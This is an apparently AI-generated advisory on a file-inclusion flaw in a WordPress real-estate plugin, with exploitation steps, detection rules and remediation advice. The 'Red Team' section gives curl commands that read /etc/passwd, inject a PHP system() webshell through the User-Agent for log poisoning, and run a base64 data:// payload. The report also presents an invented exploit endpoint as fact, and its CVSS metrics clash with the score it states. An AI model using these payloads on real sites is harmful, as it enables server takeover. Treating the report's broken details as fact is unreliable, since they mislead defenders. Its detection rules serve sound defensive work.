CVE-2025-30849

Executive Summary

CVE-2025-30849 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the G5Plus Essential Real Estate WordPress plugin, affecting versions up to and including 5.2.0. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, database credentials), remote code execution via log poisoning or session file inclusion, and full server compromise. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from G5Plus and disable the plugin until a patch is released. The lack of OSV or GitHub advisory data indicates limited public disclosure, increasing the risk of targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated exploitation.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Potential for code execution via file inclusion.
• Availability (A): High (H) – Could lead to denial of service or system takeover.

Threat Level: Critical. The combination of network exploitability, no authentication, and potential for RCE makes this a severe threat to any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the plugin's PHP code where user-supplied input is used to construct a file path for an include() or require() statement. The CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program indicates that the plugin fails to sanitize or validate the filename parameter, allowing path traversal sequences (e.g., ../../) to escape the intended directory.

Attack Flow:

1. An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., ?page=../../../../etc/passwd).
2. The plugin passes this input directly to include() or require().
3. PHP includes the specified file, outputting its contents to the attacker.
4. For RCE, the attacker can use techniques like:
   • Log Poisoning: Inject PHP code into server logs (e.g., via User-Agent header), then include the log file.
   • Session File Inclusion: Manipulate session files to include malicious code.
   • PHP Wrappers: Use php://filter to encode files or data:// to execute arbitrary code (if allow_url_include is enabled).

The vulnerability is classified as PHP Local File Inclusion (LFI) rather than Remote File Inclusion (RFI) because the description specifies "PHP Local File Inclusion." However, the CWE title mentions "PHP Remote File Inclusion," which may be a misclassification. The actual risk is LFI, which can still lead to RCE.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical example of the vulnerable pattern and a secure implementation.

Vulnerable Code (Hypothetical):

<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>

Patched Code (Hypothetical):

<?php
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include("pages/" . $page . ".php");
} else {
    // Handle error
}
?>

The patched version uses a whitelist approach to restrict included files to a predefined set, preventing path traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: WordPress 6.x with Essential Real Estate <= 5.2.0.
• Attacker: Kali Linux with Burp Suite and curl.

Exploitation Steps:

1. Basic LFI to read /etc/passwd:

   curl "http://target.com/wp-content/plugins/essential-real-estate/vulnerable.php?file=../../../../etc/passwd"
   

2. Log Poisoning for RCE:

   • Inject PHP code into User-Agent:

     curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
     

   • Include the Apache access log:

     curl "http://target.com/wp-content/plugins/essential-real-estate/vulnerable.php?file=../../../../var/log/apache2/access.log&cmd=id"
     

3. PHP Wrapper for Code Execution (if allow_url_include=On):

   curl "http://target.com/vulnerable.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"
   

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
• Alert on inclusion of sensitive files like /etc/passwd, /etc/shadow, or log files.
• Use WAF rules to block php:// and data:// wrapper usage.

Hunting:

• Search web server logs for requests containing file= or page= parameters with directory traversal sequences.
• Check for unexpected file inclusions in PHP error logs.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /var/log/apache2/access.log, /var/log/nginx/access.log
• HTTP Request Patterns: file=../../../../etc/passwd, page=php://filter/convert.base64-encode/resource=index.php
• User-Agent Strings: <?php system($_GET['cmd']); ?> (malicious injection)
• Log Entries: Unusual inclusion of system files in PHP error logs.

Detection Engineering

YARA Rule

rule CVE_2025_30849_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Essential Real Estate plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-30849"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $sensitive_file = /(etc\/passwd|etc\/shadow|proc\/self\/environ|var\/log\/)/
        $php_wrapper = /php:\/\/(filter|input|stdin)/
    condition:
        any of ($path_traversal) and any of ($sensitive_file) or any of ($php_wrapper)
}

Sigma Rule

title: CVE-2025-30849 Essential Real Estate LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting the Essential Real Estate plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'page=../'
            - 'include=../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-30849 Essential Real Estate LFI Attempt"; flow:to_server,established; content:"file="; http_uri; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement WAF rules to block path traversal patterns and PHP wrappers.
3. Restrict file permissions on sensitive system files (e.g., /etc/passwd should not be readable by the web server user).

Long-term Fix:

• Apply the vendor patch once available (monitor G5Plus updates).
• Conduct a code review of the plugin to identify all include/require statements and implement input validation (whitelist approach).
• Use a security plugin like Wordfence to add an additional layer of defense.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.